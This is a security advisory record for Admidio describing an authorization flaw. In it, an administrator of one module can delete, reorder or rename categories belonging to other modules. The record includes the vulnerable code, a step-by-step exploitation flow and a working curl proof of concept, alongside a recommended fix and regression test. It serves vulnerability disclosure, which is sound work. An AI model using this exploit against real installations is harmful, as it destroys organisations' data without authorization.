{"id":"GHSA-rwjr-qjj3-mq2f","summary":"Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`","details":"## Summary\n\n`modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, …) corresponds to a module the actor administers. The follow-up \"is this specific category editable by me\" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category-\u003eisEditable()` is never invoked. The `delete`, `sequence`, and `save` switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules — for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch.\n\n## Details\n\n### vulnerable code\n\n`modules/categories.php:40-61`:\n\n```php\n$getMode         = admFuncVariableIsValid($_GET, 'mode', 'string',\n                                          array('defaultValue' =\u003e 'list',\n                                                'validValues'  =\u003e array('list', 'edit', 'save', 'delete', 'sequence')));\n$getType         = admFuncVariableIsValid($_GET, 'type', 'string',\n                                          array('validValues' =\u003e array('ANN','AWA','EVT','FOT','LNK','ROL','USF','IVT')));\n$getCategoryUUID = admFuncVariableIsValid($_GET, 'uuid', 'uuid');\n\n// check rights of the type\nif (($getType === 'ANN' && !$gCurrentUser-\u003eisAdministratorAnnouncements())\n    || ($getType === 'AWA' && !$gCurrentUser-\u003eisAdministratorUsers())\n    || ($getType === 'EVT' && !$gCurrentUser-\u003eisAdministratorEvents())\n    || ($getType === 'FOT' && !$gCurrentUser-\u003eisAdministratorForum())\n    || ($getType === 'LNK' && !$gCurrentUser-\u003eisAdministratorWeblinks())\n    || ($getType === 'ROL' && !$gCurrentUser-\u003eisAdministratorRoles())\n    || ($getType === 'USF' && !$gCurrentUser-\u003eisAdministratorUsers())\n    || ($getType === 'IVT' && !$gCurrentUser-\u003eisAdministratorInventory())) {\n    throw new Exception('SYS_NO_RIGHTS');\n}\n\nif (in_array($getType, array('edit', 'save', 'delete'))) {           // \u003c- DEAD CODE\n    // check if this category is editable by the current user and current organization\n    if (!$category-\u003eisEditable()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n}\n```\n\nThe `in_array($getType, array('edit','save','delete'))` test compares the category-type code to mode names. `$getType` can only be `ANN`, `AWA`, `EVT`, `FOT`, `LNK`, `ROL`, `USF`, or `IVT` (it is rejected by `admFuncVariableIsValid` if it is anything else), so the array intersection is permanently empty. The intended check was probably `in_array($getMode, array('edit','save','delete'))`. As written, `$category-\u003eisEditable()` is never called from this entry point, and the `$category` symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful.\n\n`modules/categories.php:99-110` — the `delete` switch case just loads the category by UUID and deletes it, with no per-record permission check:\n\n```php\ncase 'delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $menu = new Category($gDb);\n    $menu-\u003ereadDataByUuid($getCategoryUUID);\n    $menu-\u003edelete();\n    echo json_encode(array('status' =\u003e 'success'));\n    break;\n```\n\n`modules/categories.php:112-123` — the `sequence` switch case has the same shape.\n\n`Category::delete()` blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does *not* check whether the category's `cat_type` matches a module the actor has rights over.\n\n### exploitation flow\n\n1. Attacker has `Announcements administrator` (or any other single module-admin right) but is **not** a roles / inventory / weblinks administrator.\n2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting `modules/categories.php?type=\u003ctheir_type\u003e&mode=list`.\n3. Attacker requests `POST /modules/categories.php?mode=delete&type=ANN&uuid=\u003cUUID-of-foreign-category\u003e` carrying their valid `adm_csrf_token`. `type=ANN` satisfies the rights gate at line 47-58 (they are an announcements admin). The dead `if` at line 56 does not fire. The switch falls into `case 'delete':` which deletes the category without re-checking the type.\n4. Server replies `{\"status\":\"success\"}`. The cross-module category is gone.\n\nThe same primitive applies to `mode=sequence` (reorder), and to `mode=save` for editing the category's name and description.\n\n## PoC\n\nTested on a fresh install of HEAD `c5cde53` running on PHP 8.4 + MariaDB 11.8 at `http://127.0.0.1:8085`. Reproduces in two requests. `testadmin` is the bootstrap administrator created during install; `annadmin` is a freshly-created user whose only role is `Association's board` with `rol_announcements=1` (no roles / inventory / weblinks rights).\n\n```\n# 0. set-up: confirm starting state of the cross-module category\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \\\n    -e \"SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type='ROL' AND cat_name='TEAMS';\"\ncat_id  cat_uuid                              cat_type  cat_name\n7       846536b9-2582-4845-a5ff-dee06f3212c7  ROL       TEAMS\n\n# 1. login as annadmin (announcements admin only) and capture session + csrf\n$ curl -s -c $C -b $C \"http://127.0.0.1:8085/index.php?module=auth\" \u003e /dev/null\n$ html=$(curl -s -c $C -b $C \"http://127.0.0.1:8085/system/login.php?...\")\n$ csrf=$(grep -oE 'adm_csrf_token[^\"]+value=\"[^\"]+' /tmp/login.html | head -1 | ...)\n$ curl -s -c $C -b $C \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"adm_login_name=annadmin\" \\\n    --data-urlencode \"adm_password=Annpwd123!\" \\\n    \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"...\"}\n\n# 2. as annadmin, GET the categories page once to seed an in-session form key\n$ html=$(curl -s -b $C \"http://127.0.0.1:8085/modules/categories.php?type=ANN&mode=list\")\n$ csrf=$(echo \"$html\" | grep -oE 'adm_csrf_token[^\"]+value=\"[^\"]+' | head -1 | sed 's/.*value=\"//')\n\n# 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=\u003cROL category\u003e\n$ curl -s -b $C \\\n    -X POST \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"direction=\" \\\n    \"http://127.0.0.1:8085/modules/categories.php?mode=delete&type=ANN&uuid=846536b9-2582-4845-a5ff-dee06f3212c7\"\n{\"status\":\"success\"}\n\n# 4. verify the row is gone — annadmin had no role-administrator rights\n$ mariadb ... admidio -e \"SELECT * FROM adm_categories WHERE cat_uuid='846536b9-2582-4845-a5ff-dee06f3212c7';\"\n(no rows)\n```\n\nThe same chain with `mode=sequence&direction=UP` reorders a foreign category. With `mode=save`, an attacker can rename the foreign category and (via the unprotected `cat_type` rebind in `CategoryService::save()` line 210) re-tag it to a different module type, breaking referential consistency.\n\n## Impact\n\nAny user with at least one module-administrator right can delete or reorder admin-managed categories of other modules:\n\n- Role categories (the structural grouping of all roles in the organisation)\n- Event calendars (each calendar is a category of type `EVT`)\n- Profile-field categories (the grouping of which fields are shown on which profile tab)\n- Weblink categories\n- Forum categories (`FOT`)\n- Inventory categories (`IVT`)\n\n`Category::delete()` blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the *default* category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit \"Default Category\" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state.\n\nThe CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. `PR:L` because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). `I:H` because data is destroyed and there is no in-product undo. `A:N` because the system stays up; only the affected module's metadata is gone.\n\n## Recommended Fix\n\nReplace the dead `if (in_array($getType, array('edit', 'save', 'delete')))` block with a real check on `$getMode` plus a per-record `isEditable()` test that re-derives the module from `cat_type`:\n\n```php\nif (in_array($getMode, array('edit', 'save', 'delete', 'sequence'), true) && $getCategoryUUID !== '') {\n    $category = new Category($gDb);\n    $category-\u003ereadDataByUuid($getCategoryUUID);\n\n    if ($category-\u003eisNewRecord()) {\n        throw new Exception('SYS_INVALID_PAGE_VIEW');\n    }\n\n    // re-check rights against the *record's* cat_type, not the user-supplied type\n    $recordType = $category-\u003egetValue('cat_type');\n    if (   ($recordType === 'ANN' && !$gCurrentUser-\u003eisAdministratorAnnouncements())\n        || ($recordType === 'AWA' && !$gCurrentUser-\u003eisAdministratorUsers())\n        || ($recordType === 'EVT' && !$gCurrentUser-\u003eisAdministratorEvents())\n        || ($recordType === 'FOT' && !$gCurrentUser-\u003eisAdministratorForum())\n        || ($recordType === 'LNK' && !$gCurrentUser-\u003eisAdministratorWeblinks())\n        || ($recordType === 'ROL' && !$gCurrentUser-\u003eisAdministratorRoles())\n        || ($recordType === 'USF' && !$gCurrentUser-\u003eisAdministratorUsers())\n        || ($recordType === 'IVT' && !$gCurrentUser-\u003eisAdministratorInventory())) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    if (!$category-\u003eisEditable()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n}\n```\n\nAdditionally, `CategoryService::save()` should refuse to mutate `cat_type` when editing an existing record (drop the `$this-\u003ecategoryRessource-\u003esetValue('cat_type', $this-\u003etype)` at line 210, or set it only when `isNewRecord()`).\n\nA regression test should call `categories.php?mode=delete&type=ANN&uuid=\u003cROL-category\u003e` as a user with only `isAdministratorAnnouncements()` and assert the response is `SYS_NO_RIGHTS` rather than `success`.","aliases":["CVE-2026-47227"],"modified":"2026-09-10T03:50:47.557532409Z","published":"2026-05-29T21:57:05Z","database_specific":{"github_reviewed_at":"2026-05-29T21:57:05Z","nvd_published_at":null,"cwe_ids":["CWE-639","CWE-863"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-rwjr-qjj3-mq2f"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.10"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-rwjr-qjj3-mq2f/GHSA-rwjr-qjj3-mq2f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}